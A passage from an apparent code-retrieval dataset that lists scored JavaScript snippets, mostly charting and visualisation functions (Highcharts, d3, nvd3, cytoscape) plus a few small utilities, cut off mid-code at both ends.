100));\n categories = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep'];\n break;\n case 10:\n monthsArray.push(parseInt(dashboardData[i].M1 * 100));\n monthsArray.push(parseInt(dashboardData[i].M2 * 100));\n monthsArray.push(parseInt(dashboardData[i].M3 * 100));\n monthsArray.push(parseInt(dashboardData[i].M4 * 100));\n monthsArray.push(parseInt(dashboardData[i].M5 * 100));\n monthsArray.push(parseInt(dashboardData[i].M6 * 100));\n monthsArray.push(parseInt(dashboardData[i].M7 * 100));\n monthsArray.push(parseInt(dashboardData[i].M8 * 100));\n monthsArray.push(parseInt(dashboardData[i].M9 * 100));\n monthsArray.push(parseInt(dashboardData[i].M10 * 100));\n categories = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct'];\n break;\n case 11:\n monthsArray.push(parseInt(dashboardData[i].M1 * 100));\n monthsArray.push(parseInt(dashboardData[i].M2 * 100));\n monthsArray.push(parseInt(dashboardData[i].M3 * 100));\n monthsArray.push(parseInt(dashboardData[i].M4 * 100));\n monthsArray.push(parseInt(dashboardData[i].M5 * 100));\n monthsArray.push(parseInt(dashboardData[i].M6 * 100));\n monthsArray.push(parseInt(dashboardData[i].M7 * 100));\n monthsArray.push(parseInt(dashboardData[i].M8 * 100));\n monthsArray.push(parseInt(dashboardData[i].M9 * 100));\n monthsArray.push(parseInt(dashboardData[i].M10 * 100));\n monthsArray.push(parseInt(dashboardData[i].M11 * 100));\n categories = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov'];\n\n break;\n default:\n monthsArray.push(parseInt(dashboardData[i].M1 * 100));\n monthsArray.push(parseInt(dashboardData[i].M2 * 100));\n monthsArray.push(parseInt(dashboardData[i].M3 * 100));\n monthsArray.push(parseInt(dashboardData[i].M4 * 100));\n monthsArray.push(parseInt(dashboardData[i].M5 * 100));\n monthsArray.push(parseInt(dashboardData[i].M6 * 100));\n monthsArray.push(parseInt(dashboardData[i].M7 * 100));\n monthsArray.push(parseInt(dashboardData[i].M8 * 100));\n monthsArray.push(parseInt(dashboardData[i].M9 * 100));\n monthsArray.push(parseInt(dashboardData[i].M10 * 100));\n monthsArray.push(parseInt(dashboardData[i].M11 * 100));\n monthsArray.push(parseInt(dashboardData[i].M12 * 100));\n categories = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];\n break;\n }\n //var dashbaordName = i == 0 ? \"Prior Year\" : i == 1 ? \"Actual\" : \"Target\";\n //dataArray.push({ 'name': dashbaordName, 'data': monthsArray });\n\n var currentYear = new Date().getFullYear();\n var dashboardName = dashboardData[i].BudgetType == 2 && dashboardData[i].Year == currentYear - 1 ? \"Prior Year\" : (dashboardData[i].BudgetType == 2 ? \"Actual\" : \"Target\");\n dataArray.push({ 'name': dashboardName, 'data': monthsArray });\n }\n BuildThreeSeriseGraphWithOutDecimalLabel(containerid, dataArray, charttype, chartName, \"By Month\", categories);\n}", "title": "" }, { "docid": "fa29ee15d5582c1aabba86c9cf9281c4", "score": "0.47109303", "text": "function crossable_overall_by_cusip_hg_chart() {\r\n //var to catch any issues while getting data \r\n // var jqxhr_crossable_overall_by_cusip_hg = $.get('../../datafiles/widget_data/crossable_overall_hg_by_cusip.csv', function (data) {\r\n var jqxhr_crossable_overall_by_cusip_hg = $.get('hg_crossed_by_cusip.csv', function (data) {\r\n var options = {\r\n //chart options \r\n chart: {\r\n //set type of graph, where it renders\r\n type: 'line',\r\n renderTo: 'crossable_overall_by_cusip_hg_container'\r\n },\r\n //set title of graph\r\n title: {\r\n text: 'Overall TRACE High Grade Crossable Activity by CUSIPs',\r\n style: {\r\n color: '#4D759E'\r\n },\r\n align: 'center'\r\n },\r\n //set xAxis title\r\n xAxis: {\r\n title: {\r\n text: 'Date',\r\n style: {\r\n color: '#4D759E',\r\n fontWeight: 'bold'\r\n }\r\n }\r\n },\r\n //set yAxis info \r\n yAxis: {\r\n title: {\r\n text: 'TRACE HG Crossable Activity ( % )',\r\n style: {\r\n color: '#4D759E',\r\n fontWeight: 'bold'\r\n }\r\n },\r\n //make y-axis labels %s\r\n labels: {\r\n formatter: function () {\r\n return this.value + '%';\r\n }\r\n },\r\n //set y-axis to the left side\r\n opposite: false,\r\n //set background grid line width\r\n gridLineWidth: 1\r\n },\r\n //stylize the tooltip \r\n tooltip: {\r\n pointFormat: '<span style=\"color:{series.color}\">{series.name}</span>: <b>{point.y}</b><br/>',\r\n valueSuffix: '%',\r\n valueDecimals: 2\r\n },\r\n //enable and stylize the legend\r\n legend: {\r\n enabled: true,\r\n layout: 'horizontal',\r\n align: 'center',\r\n borderWidth: 1,\r\n borderRadius: 5,\r\n itemDistance: 20,\r\n reversed: false\r\n },\r\n //set the starting range. 0-5. 5=\"All\", 4=\"1yr\", etc\r\n rangeSelector: {\r\n selected: 4,\r\n allButtonsEnabled: true\r\n },\r\n //set general plot options \r\n plotOptions: { \r\n //make the number of points allowed uncapped\r\n series: {\r\n turboThreshold: 0\r\n }\r\n },\r\n //disable credits\r\n credits: {\r\n enabled: false\r\n },\r\n //make download as csv format correctly\r\n navigator: {\r\n series: {\r\n includeInCSVExport: false\r\n }\r\n },\r\n //set name of chart downloads\r\n exporting: {\r\n filename: 'MarketAxess_TRACE_crossable_overall_by_cusips_hg',\r\n //enable download icon\r\n enabled: true,\r\n //add image to download\r\n chartOptions: {\r\n chart: {\r\n events: {\r\n load: function () {\r\n this.renderer.image('http://www.marketaxess.com/images/marketaxess_logo2.gif', 90, 75, 300, 48).attr({\r\n opacity: 0.1\r\n }).add();\r\n }\r\n }\r\n },\r\n //remove scrollbar and navigator from downloaded image\r\n scrollbar: {\r\n enabled: false\r\n },\r\n navigator:{\r\n enabled: false\r\n }\r\n },\r\n //make download as csv format correctly\r\n csv: {\r\n dateFormat: '%Y-%m-%d'\r\n }\r\n },\r\n //set graph colors\r\n colors: ['#002244', '#99BBDD', '#DBBB33', '#FFEE66', '#55AA00', '#99CC66', '#5500AA', '#9966CC', '#AA5500', '#F77B00'],\r\n\r\n\r\n //series to be filled by data \r\n series: []\r\n };\r\n //names of labels in order of series. make sure they are the same as series header in data file\r\n var names = ['Overall HG by CUSIPs', 'Overall HG Moving Average by CUSIPs'];\r\n //get csv file, multiply by 100 (divide by .01) and populate chart\r\n readCSV(options, data, 0.01, names);\r\n\r\n //make moving average line appear \r\n options.series[0].zIndex = 2;\r\n options.series[1].zIndex = 1;\r\n\r\n var chart = new Highcharts.StockChart(options);\r\n\r\n //make switch button\r\n chart.renderer.button('View by Volume',687, 83, function() {},\r\n {\r\n //normal state (keep static to stop toggle dispay bug)\r\n zIndex: 3,\r\n width: 100,\r\n height: 17,\r\n 'font-weight': 'bolder',\r\n 'font-style': 'oblique',\r\n fill: '#99BBDD'\r\n }, \r\n {//hover state\r\n }\r\n ).on('click', function () { \r\n $('.chart_container').toggle(false);\r\n $('#crossable_overall_by_vol_hg_container').toggle(true);\r\n\r\n //switch buttons\r\n $('.by_cusip_buttons').toggle(false)\r\n $('.by_vol_buttons').toggle(true)\r\n }).add();\r\n\r\n\r\n })\r\n //catch and display any errors \r\n .fail(function (jqxhr_crossable_overall_by_cusip_hg, exception) {\r\n ajaxError(jqxhr_crossable_overall_by_cusip_hg, exception, '#crossable_overall_by_cusip_hg_container');\r\n });\r\n\r\n }", "title": "" }, { "docid": "cdd0a244e1838de9333fc4f2472159cc", "score": "0.47104725", "text": "function runCrossover(parents,crossoverType,schema, parentsScore,noCarsCreated, noCarsToCreate){\n\tvar newCars = new Array();\n\tvar crossoverPointOne=getRandomInt(0,4, new Array());\n\tvar crossoverPointTwo=getRandomInt(0,4, [crossoverPointOne]);\n\tfor(var i=0;i<noCarsToCreate;i++){\n\t\tnewCars.push(combineData(parents,schema, crossoverPointOne, crossoverPointTwo, i, parentsScore,noCarsCreated,crossoverType));\n\t}\n\treturn newCars;\n}", "title": "" }, { "docid": "d4584a804e6af5bf0879df8ac1a31374", "score": "0.4710394", "text": "function calc_coors(){\n\t\t\t\tvar temp_para = paragraph;\n\t\t\t\tvar temp_data = temp_holder;\n\t\t\t\tvar min_text_temp = temp_para[0][0][0];\n\t\t\t\tvar max_text_temp = temp_para[datao.length-1][temp_para[datao.length-1].length-1][temp_para[datao.length-1][temp_para[datao.length-1].length-1].length-1];\n\t\t\t\tfor(var index=0;index<datao.length;index++){\n\t\t\t\tfor(var j=0;j< temp_para[index].length;j++){\n\t\t\t\t\tvar senrect_w=0;\n\t\t\t\t\tvar senrect_h=0;\t\n\t\t\t\t\tif(index==0){\n\t\t\t\t\t\tsenrect_w = rect_w/(temp_para[index].length);\n\t\t\t\t\t\tsenrect_h = rect_h/(temp_para[index].length); \n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\tsenrect_w = (rect_w*index)/(temp_para[index].length);\n\t\t\t\t\t\tsenrect_h = (rect_h*index)/(temp_para[index].length); \n\t\t\t\t\t}\n\t\t\t\t\ttemp_para[index][j].x = (rect_w*index) + (senrect_w*j);\n\t\t\t\t\ttemp_para[index][j].y = (rect_h*index)+ (senrect_h*j);\n\t\t\t\t\tvar wrdrect_w = (senrect_w)/(temp_para[index][j].length);\n\t\t\t\t\tvar wrdrect_h = (senrect_h)/(temp_para[index][j].length); \n\t\t\t\t\tfor(var k=0;k< temp_para[index][j].length;k++){\n\t\t\t\t\t\tvar id = temp_para[index][j][k].Id;\n\t\t\t\t\t\ttemp_data[id].x = (rect_w*index)+(senrect_w*j) + (wrdrect_w*k);\n\t\t\t\t\t\ttemp_data[id].y = (rect_h*index)+(senrect_h*j) + (wrdrect_h*k);\n\t\t\t\t\t\t}\n\t\t\t\t\ttemp_holder=temp_data;\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\td3.selectAll(\".myCheckbox\").on(\"change\",function(){\n\t\t\t\t\t\tvar choices = [];\n\t\t\t\t\t\td3.selectAll(\".selections\").selectAll(\".myCheckbox\").each(function(d){\n\t\t\t\t\t\t\tcb = d3.select(this);\n\t\t\t\t\t\t\tif(cb.property(\"checked\")){\n\t\t\t\t\t\t\t\tchoices.push(cb.property(\"value\"));\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n\t\t\t\t\t\td3.select(\"svg\").selectAll(\".link\").remove();\n\t\t\t\t\t\td3.select(\"svg\").selectAll(\"#traingle\").remove();\n\t\t\t\t\t\tdrawedge(min_text_temp,max_text_temp,wrdrect_h,wrdrect_w,choices,false);\t\n\t\t\t\t\t});\t\n\t\t\t\tvar choices=[];\n\t\t\t\tdrawedge(min_text_temp,max_text_temp,wrdrect_h,wrdrect_w,choices,true);\t\n\t\t\t}", "title": "" }, { "docid": "7c318be500ec1ff4a17fabfebd16ac2c", "score": "0.47007817", "text": "colores16(){\n this.filtroCombinacion.colores16(true, true, false);\n }", "title": "" }, { "docid": "d65e03a70fafa4dc467b2479b55ca824", "score": "0.47001326", "text": "function generateCmVolChartData(bidsData, asksData){\n var series = [];\n if(bidsData != null && bidsData != undefined && bidsData.Bids != null && bidsData.Bids != undefined && bidsData.Bids.length != 0) {\n var ascendingBids = reverseBids(bidsData.Bids);\n makeCmVolumeSeries('Bid', series, ascendingBids, ascendingBids.length, 0, '#B40404');\n }\n\n if(asksData != null && asksData != undefined && asksData.Asks != null && asksData.Asks != undefined && asksData.Asks.length != 0){\n makeCmVolumeSeries('Ask', series, asksData.Asks, asksData.Asks.length, 1, '#424242');\n }\n\n return series;\n }", "title": "" }, { "docid": "9c1487da8715574d7ff7790a3e641a92", "score": "0.4698546", "text": "function cloneToHoneycomb(itemToClone, xCount, yCount, margin) {\n if (margin === void 0) { margin = 0; }\n function spacing(modelToMeasure) {\n var hex = MakerJs.measure.boundingHexagon(modelToMeasure);\n var width = 2 * MakerJs.solvers.equilateralAltitude(hex.radius);\n var s = width + margin;\n return { x: s / -2, y: MakerJs.solvers.equilateralAltitude(s), xMargin: margin };\n }\n return cloneToAlternatingRows(itemToClone, xCount, yCount, spacing);\n }", "title": "" }, { "docid": "f60dba7a0780ba2af4bac0ed19bccbef", "score": "0.46981588", "text": "function prep_data_for_chart(data) {\n var doseCounts = data.map(function(obj) {\n return obj[\"doses\"];\n });\n var doseLabels = data.map(function(obj) {\n return obj[\"label\"];\n });\n\n var doseCumulative = doseCounts.cumulativeSum();\n var dosePercent = doseCounts.map(function(d) {\n return (100 * d) / doseCounts.sum();\n });\n\n // doseCumPercent is a normal cumulative percent\n var doseCumPercent = dosePercent.cumulativeSum();\n // doseCumLeftPercent is the like cumulative percent but shifted down one index\n // it starts at zero and only goes to the index before to actual cumulative\n var doseCumLeftPercent = doseCumPercent.slice(0, doseCumPercent.length - 1);\n doseCumLeftPercent.splice(0, 0, 0);\n\n // key/value lists for the zipped data\n var datasetsKeys = [\n \"counts\",\n \"cum\",\n \"label\",\n \"percent\",\n \"cumPercent\",\n \"cumLeftPercent\"\n ];\n var datasetsValues = zip([\n doseCounts,\n doseCumulative,\n doseLabels,\n dosePercent,\n doseCumPercent,\n doseCumLeftPercent\n ]);\n\n // zip the data so you have an array of maps/objects/dicts\n var zipped_data = datasetsValues.map(function(values) {\n return Object.fromEntries(zip([datasetsKeys, values]));\n });\n\n return zipped_data;\n}", "title": "" }, { "docid": "b9e49d406524d8092bc823169f2ed8cd", "score": "0.46976182", "text": "initDataSource(indicator, chart) {\n const signalCollection = [];\n const lowerCollection = [];\n const upperCollection = [];\n const signalSeries = indicator.targetSeries[0];\n //prepare data\n const validData = indicator.points;\n if (validData.length && validData.length >= indicator.period) {\n //Find upper band and lower band values\n if (indicator.showZones) {\n for (let i = 0; i < validData.length; i++) {\n upperCollection.push(this.getDataPoint(validData[i].x, indicator.overBought, validData[i], indicator.targetSeries[1], upperCollection.length));\n lowerCollection.push(this.getDataPoint(validData[i].x, indicator.overSold, validData[i], indicator.targetSeries[2], lowerCollection.length));\n }\n }\n //Find signal line value\n let prevClose = Number(validData[0].close);\n let gain = 0;\n let loss = 0;\n for (let i = 1; i <= indicator.period; i++) {\n const close = Number(validData[i].close);\n if (close > prevClose) {\n gain += close - prevClose;\n }\n else {\n loss += prevClose - close;\n }\n prevClose = close;\n }\n gain = gain / indicator.period;\n loss = loss / indicator.period;\n signalCollection.push(this.getDataPoint(validData[indicator.period].x, 100 - (100 / (1 + gain / loss)), validData[indicator.period], signalSeries, signalCollection.length));\n for (let j = indicator.period + 1; j < validData.length; j++) {\n const close = Number(validData[j].close);\n if (close > prevClose) {\n gain = (gain * (indicator.period - 1) + (close - prevClose)) / indicator.period;\n loss = (loss * (indicator.period - 1)) / indicator.period;\n }\n else if (close < prevClose) {\n loss = (loss * (indicator.period - 1) + (prevClose - close)) / indicator.period;\n gain = (gain * (indicator.period - 1)) / indicator.period;\n }\n prevClose = close;\n signalCollection.push(this.getDataPoint(validData[j].x, 100 - (100 / (1 + gain / loss)), validData[j], signalSeries, signalCollection.length));\n }\n }\n this.setSeriesRange(signalCollection, indicator, indicator.targetSeries[0]);\n if (indicator.showZones) {\n this.setSeriesRange(upperCollection, indicator, indicator.targetSeries[1]);\n this.setSeriesRange(lowerCollection, indicator, indicator.targetSeries[2]);\n }\n }", "title": "" }, { "docid": "5fa747dfc2d8ddea5542757fb8dd813f", "score": "0.46958947", "text": "function createCy(){\n cy = cytoscape({\n container: document.getElementById('cy'),\n boxSelectionEnabled: false,\n autounselectify: true,\n layout:{\n name:'preset'\n },\n style:[\n {\n selector: 'node',\n\t\t\t\tstyle: {\n\t\t\t\t\t'content': 'data(unit_s)',\n\t\t\t\t\t'text-opacity': 1,\n\t\t\t\t\t'min-zoomed-font-size': 13,\n\t\t\t\t\t'text-valign': 'bottom',\n\t\t\t\t\t'text-halign': 'center',\n\t\t\t\t\t'font-size': '13px',\n\t\t\t\t\t'text-margin-y': '5px',\n\t\t\t\t\t'background-color': '#00ffff',\n\t\t\t\t\t'border-width': 2,\n\t\t\t\t\t'border-color': '#00ffff',\n\t\t\t\t\t'width': pxSize,\n\t\t\t\t\t'height': pxSize\n\t\t\t\t}\n },\n {\n\t\t\t\tselector: 'edge',\n\t\t\t\tstyle: {\n\t\t\t\t\t'width': 5,\n\t\t\t\t\t'target-arrow-shape': 'triangle',\n\t\t\t\t\t'line-color': '#753faa',\n\t\t\t\t\t'target-arrow-color': '#753faa',\n\t\t\t\t\t'curve-style': 'bezier'\n\t\t\t\t}\n\t\t\t},{\n\t\t\t\tselector: '.edge_flash',\n\t\t\t\tstyle: {\n\t\t\t\t\t'width': 1,\n\t\t\t\t\t'target-arrow-shape': 'triangle',\n\t\t\t\t\t'line-color': '#42408f',\n\t\t\t\t\t'target-arrow-color': '#42408f',\n\t\t\t\t\t'curve-style': 'bezier'\n\t\t\t\t}\n\t\t\t},{\n\t\t\t\tselector: '.comfirmed_unit',\n\t\t\t\tstyle: {\n\t\t\t\t\t'shape':'rectangle',\n\t\t\t\t\t'width-width': 2,\n\t\t\t\t\t'border-color': '#75fb6b',\n\t\t\t\t\t'background-color': '#75fb6b',\n\t\t\t\t\t'width': pxSize+1,\n\t\t\t\t\t'height': pxSize+1\n\t\t\t\t}\n\t\t\t},{\n\t\t\t\tselector: '.comfirmed_unit_flash',\n\t\t\t\tstyle: {\n\t\t\t\t\t'shape':'rectangle',\n\t\t\t\t\t'width-width': 1,\n\t\t\t\t\t'border-color': '#e6d95f',\n\t\t\t\t\t'background-color': '#e6d95f',\n\t\t\t\t\t'width': pxSize+1,\n\t\t\t\t\t'height': pxSize+1\n\t\t\t\t}\n\t\t\t},{\n\t\t\t\tselector: '.pending_unit',\n\t\t\t\tstyle: {\n\t\t\t\t\t'border-width': 2,\n\t\t\t\t\t'background-color': '#1754c2',\n\t\t\t\t\t'border-color': '#1754c2'\n\t\t\t\t}\n\t\t\t},{\n\t\t\t\tselector: '.sequencer_unit',\n\t\t\t\tstyle: {\n\t\t\t\t\t'shape':'rectangle',\n\t\t\t\t\t'border-width': 2,\n\t\t\t\t\t'background-color': '#d64f5f',\n\t\t\t\t\t'border-color': '#d64f5f',\n\t\t\t\t\t'width': pxSize+3,\n\t\t\t\t\t'height': pxSize+3\n\t\t\t\t}\n\t\t\t},{\n\t\t\t\tselector: '.is_on_main_chain',\n\t\t\t\tstyle: {\n\t\t\t\t\t'background-color': '#6495ed'\n\t\t\t\t}\n\t\t\t}\n ],\n elements: {\n\t\t\tnodes: [],\n\t\t\tedges: []\n\t\t}\n })\n cy.on('mouseover', 'node', function() {\n\t\tthis.addClass('hover');\n\t});\n\n\tcy.on('mouseout', 'node', function() {\n\t\tthis.removeClass('hover');\n\t});\n\t\n\tcy.on('click', 'node', function(evt) {\n\t\tlocation.hash = '#' + evt.cyTarget.id();\n\t});\n \n $(cy.container()).on('wheel mousewheel', function(e) {\n\t\tfocus = true;\n\t\tvar deltaY = e.originalEvent.wheelDeltaY || -e.originalEvent.deltaY;\n\t\tif (page == 'dag') {\n\t\t\te.preventDefault();\n\t\t\tif (deltaY > 0) {\n\t\t\t\tscrollUp();\n\t\t\t}\n\t\t\telse if (deltaY < 0) {\n\t\t\t\tcy.panBy({x: 0, y: -25});\n\t\t\t}\n\t\t\tscroll.scrollTop(convertPosPanToPosScroll());\n\t\t}\n\t});\n}", "title": "" }, { "docid": "f37cdecc4c478dcccd51dbe9fa12a74e", "score": "0.4695666", "text": "function button_change(index) {\n\n if ( typeof button_change.state == 'undefined' ) {\n button_change.state = [true, true, true];\n }\n\n\n if (global_cvg_type.length == 0) {\n alert(\"No data loaded!\");\n document.getElementById(\"button1\").checked = false;\n document.getElementById(\"button2\").checked = false;\n document.getElementById(\"button3\").checked = false;\n return;\n }\n\n index = index - 1;\n\n button_change.state[index] = !button_change.state[index];\n\n var printed = [];\n element1.innerHTML = \"\";\n\n var toc = document.getElementById('toc_header');\n\n toc.innerHTML = \"<br><h4>Covergroup types</h4><ul>\";\n\n\n toc = document.getElementById('toc'); \n toc.innerHTML = \"\";\n \n for (var it1 = 0; it1 < global_cvg_type.length; ++it1) {\n var type = global_cvg_type[it1];\n\n var insts_printed = [];\n\n for (var it2 = 0; it2 < type.cg_insts.length; ++it2) {\n var inst = type.cg_insts[it2];\n\n var cvps = [];\n var procs = [];\n var cvp_weights = [];\n var count = 0;\n for (var it3 =0; it3 < inst.cvg_cvps.length; ++it3) {\n var cvp = inst.cvg_cvps[it3];\n\n if (\n (button_change.state[0] == true && cvp.cvp_procent == 100) || \n (button_change.state[2] == true && cvp.cvp_procent == 0.00) ||\n (button_change.state[1] == true && cvp.cvp_procent < 100 && cvp.cvp_procent > 0)\n ) \n {\n\n cvps.push(cvp);\n procs.push(cvp.cvp_procent);\n cvp_weights.push(cvp.cvp_weight);\n count += cvp.cg_inst_lines;\n }\n\n }\n\n if (cvps.length != 0) {\n insts_printed.push(new Cg(procs, cvp_weights, cvps, count, {name : inst.name, style : inst.style}));\n }\n }\n\n\n if (insts_printed.length != 0) {\n var print_type = new CgType(String(type.name), insts_printed);\n element1.innerHTML += print_type.stringify();\n toc.innerHTML += print_type.toc_stringify();\n\n }\n \n\n }\n\n toc.innerHTML += \"<li><a href=\\\"#top\\\">Back to top </a></li>\"; \n toc.innerHTML += \"</ul>\";\n toc.innerHTML += \"<br>\";\n\n }", "title": "" }, { "docid": "a0b4ea8525bfdfd77fba088685a27ca3", "score": "0.4689012", "text": "function buildDataSets(res) {\n\n\tif (datasets.length == 0) {\n\n\n\t\tObject.keys(res).forEach(element => {\n\t\t\tlet coinName = element;\n\t\t\tlet coinPrice = res[element][\"USD\"];\n\n\t\t\tlet dataObject = {\n\t\t\t\tlabel: `Coin Id ${coinName}`,\n\t\t\t\tbackgroundColor: getRandomColor(),\n\t\t\t\tborderColor: getRandomColor(),\n\t\t\t\tfill: false,\n\t\t\t\tdata: [coinPrice],\n\t\t\t}\n\t\t\tdatasets.push(dataObject);\n\t\t});\n\t}\n\telse {\n\t\tfor (let i = 0; i < datasets.length; i++) {\n\t\t\tlet coinPrice = res[Object.keys(res)[i]][\"USD\"];\n\t\t\tif (datasets[i].data.length>10)\n\t\t\tdatasets[i].data.shift();\n\t\t\tdatasets[i].data = [...datasets[i].data, coinPrice]\n\t\t\t//datasets[i].data.push(Math.floor(Math.random() * 100));\n\t\t\t//datasets.push(dataObject);\n\t\t}\n\t\t// Object.keys(res).forEach(element => {\n\t\t// \tlet coinName = element;\n\t\t// \tlet coinPrice = res[element][\"USD\"];\n\n\t\t// \tlet dataObject = {\n\t\t// \t\tlabel: `Coin Id ${coinName}`,\n\t\t// \t\tbackgroundColor: getRandomColor(),\n\t\t// \t\tborderColor: getRandomColor(),\n\t\t// \t\tfill: false,\n\t\t// \t\tdata: [...data,coinPrice],\n\t\t// \t}\n\t\t// \tdatasets.push(dataObject);\n\t\t// });\t\n\t}\n\treturn datasets;\n}", "title": "" }, { "docid": "2824704cee817b91f7e7e12a9a8b9777", "score": "0.46861368", "text": "function createCandies(number){\n for (i = 0; i < number; i++){\n x = Math.floor(Math.random() * 560 + 20);\n y = Math.floor(Math.random() * 520 + 20);\n if (!overlapPlatform(x, y))\n i--;\n else\n createCandy(x, y);\n }\n}", "title": "" }, { "docid": "b77709dfba90bc801d5d547727b2d278", "score": "0.4684619", "text": "function prepareCategData(expenses,spending) {\n spending = Number(spending);\n if (spending == 0) {\n buildAlertHTML(\"pieSpending\", \"You don't have any spending to show.\");\n\n } else {\n const colors = ['#593186','#A991D4','#13B955','#009CDC','#EFA31D','#FC3939','#F9F8FC','#17141F'];\n let categories = [];\n let sums = [];\n\n for (const category of Object.entries(expenses)) {\n\n categories.push(category[0]);\n sums.push(Number(category[1]));\n }\n\n // categories.push(\"None\");\n // sums.push(0);\n\n // console.log(categories);\n // console.log(sums);\n\n generatePieCharts(categories,sums,colors,'pieSpending');\n }\n \n}", "title": "" }, { "docid": "ca7acb7042b994b6403129c985c2a9b7", "score": "0.46837297", "text": "function genCData(rawframe, labels, index, startdate, enddate){\n let cdata={};\n let dur = getDurationIndex(rawframe, startdate, enddate);\n cdata.label = labels[index];\n cdata.data = rawframe[index].slice(dur.start_index, dur.end_index + 1);\n \n //skip if \"Cipher\" label's col\n if(index != 0){\n cdata.sum = getSumArray(cdata.data);\n //cdata.per = cdata.sum / getAllCount(rawframe);\n cdata.per = 0.0;\n }\n return cdata;\n}", "title": "" }, { "docid": "7a84a1517c233dd7401301dc3b3384e0", "score": "0.46831018", "text": "function chart(selection) {\n selection.each(function(data) {\n var availableWidth = width - margin.left - margin.right,\n availableHeight = height - margin.top - margin.bottom,\n container = d3.select(this);\n\n\n //------------------------------------------------------------\n // Setup Scales\n\n x .domain(xDomain || d3.extent(data[0].values.map(getX).concat(forceX) ));\n\n if (padData)\n x.range(xRange || [availableWidth * .5 / data[0].values.length, availableWidth * (data[0].values.length - .5) / data[0].values.length ]);\n else\n x.range(xRange || [0, availableWidth]);\n\n y .domain(yDomain || [\n d3.min(data[0].values.map(getLow).concat(forceY)),\n d3.max(data[0].values.map(getHigh).concat(forceY))\n ])\n .range(yRange || [availableHeight, 0]);\n\n // If scale's domain don't have a range, slightly adjust to make one... so a chart can show a single data point\n if (x.domain()[0] === x.domain()[1])\n x.domain()[0] ?\n x.domain([x.domain()[0] - x.domain()[0] * 0.01, x.domain()[1] + x.domain()[1] * 0.01])\n : x.domain([-1,1]);\n\n if (y.domain()[0] === y.domain()[1])\n y.domain()[0] ?\n y.domain([y.domain()[0] + y.domain()[0] * 0.01, y.domain()[1] - y.domain()[1] * 0.01])\n : y.domain([-1,1]);\n\n //------------------------------------------------------------\n\n\n //------------------------------------------------------------\n // Setup containers and skeleton of chart\n\n var wrap = d3.select(this).selectAll('g.nv-wrap.nv-ohlcBar').data([data[0].values]);\n var wrapEnter = wrap.enter().append('g').attr('class', 'nvd3 nv-wrap nv-ohlcBar');\n var defsEnter = wrapEnter.append('defs');\n var gEnter = wrapEnter.append('g');\n var g = wrap.select('g');\n\n gEnter.append('g').attr('class', 'nv-ticks');\n\n wrap.attr('transform', 'translate(' + margin.left + ',' + margin.top + ')');\n\n //------------------------------------------------------------\n\n\n container\n .on('click', function(d,i) {\n dispatch.chartClick({\n data: d,\n index: i,\n pos: d3.event,\n id: id\n });\n });\n\n\n defsEnter.append('clipPath')\n .attr('id', 'nv-chart-clip-path-' + id)\n .append('rect');\n\n wrap.select('#nv-chart-clip-path-' + id + ' rect')\n .attr('width', availableWidth)\n .attr('height', availableHeight);\n\n g .attr('clip-path', clipEdge ? 'url(#nv-chart-clip-path-' + id + ')' : '');\n\n\n\n var ticks = wrap.select('.nv-ticks').selectAll('.nv-tick')\n .data(function(d) { return d });\n\n ticks.exit().remove();\n\n\n var ticksEnter = ticks.enter().append('path')\n .attr('class', function(d,i,j) { return (getOpen(d,i) > getClose(d,i) ? 'nv-tick negative' : 'nv-tick positive') + ' nv-tick-' + j + '-' + i })\n .attr('d', function(d,i) {\n var w = (availableWidth / data[0].values.length) * .9;\n return 'm0,0l0,'\n + (y(getOpen(d,i))\n - y(getHigh(d,i)))\n + 'l'\n + (-w/2)\n + ',0l'\n + (w/2)\n + ',0l0,'\n + (y(getLow(d,i)) - y(getOpen(d,i)))\n + 'l0,'\n + (y(getClose(d,i))\n - y(getLow(d,i)))\n + 'l'\n + (w/2)\n + ',0l'\n + (-w/2)\n + ',0z';\n })\n .attr('transform', function(d,i) { return 'translate(' + x(getX(d,i)) + ',' + y(getHigh(d,i)) + ')'; })\n //.attr('fill', function(d,i) { return color[0]; })\n //.attr('stroke', function(d,i) { return color[0]; })\n //.attr('x', 0 )\n //.attr('y', function(d,i) { return y(Math.max(0, getY(d,i))) })\n //.attr('height', function(d,i) { return Math.abs(y(getY(d,i)) - y(0)) })\n .on('mouseover', function(d,i) {\n d3.select(this).classed('hover', true);\n dispatch.elementMouseover({\n point: d,\n series: data[0],\n pos: [x(getX(d,i)), y(getY(d,i))], // TODO: Figure out why the value appears to be shifted\n pointIndex: i,\n seriesIndex: 0,\n e: d3.event\n });\n\n })\n .on('mouseout', function(d,i) {\n d3.select(this).classed('hover', false);\n dispatch.elementMouseout({\n point: d,\n series: data[0],\n pointIndex: i,\n seriesIndex: 0,\n e: d3.event\n });\n })\n .on('click', function(d,i) {\n dispatch.elementClick({\n //label: d[label],\n value: getY(d,i),\n data: d,\n index: i,\n pos: [x(getX(d,i)), y(getY(d,i))],\n e: d3.event,\n id: id\n });\n d3.event.stopPropagation();\n })\n .on('dblclick', function(d,i) {\n dispatch.elementDblClick({\n //label: d[label],\n value: getY(d,i),\n data: d,\n index: i,\n pos: [x(getX(d,i)), y(getY(d,i))],\n e: d3.event,\n id: id\n });\n d3.event.stopPropagation();\n });\n\n ticks\n .attr('class', function(d,i,j) { return (getOpen(d,i) > getClose(d,i) ? 'nv-tick negative' : 'nv-tick positive') + ' nv-tick-' + j + '-' + i })\n d3.transition(ticks)\n .attr('transform', function(d,i) { return 'translate(' + x(getX(d,i)) + ',' + y(getHigh(d,i)) + ')'; })\n .attr('d', function(d,i) {\n var w = (availableWidth / data[0].values.length) * .9;\n return 'm0,0l0,'\n + (y(getOpen(d,i))\n - y(getHigh(d,i)))\n + 'l'\n + (-w/2)\n + ',0l'\n + (w/2)\n + ',0l0,'\n + (y(getLow(d,i))\n - y(getOpen(d,i)))\n + 'l0,'\n + (y(getClose(d,i))\n - y(getLow(d,i)))\n + 'l'\n + (w/2)\n + ',0l'\n + (-w/2)\n + ',0z';\n })\n //.attr('width', (availableWidth / data[0].values.length) * .9 )\n\n\n //d3.transition(ticks)\n //.attr('y', function(d,i) { return 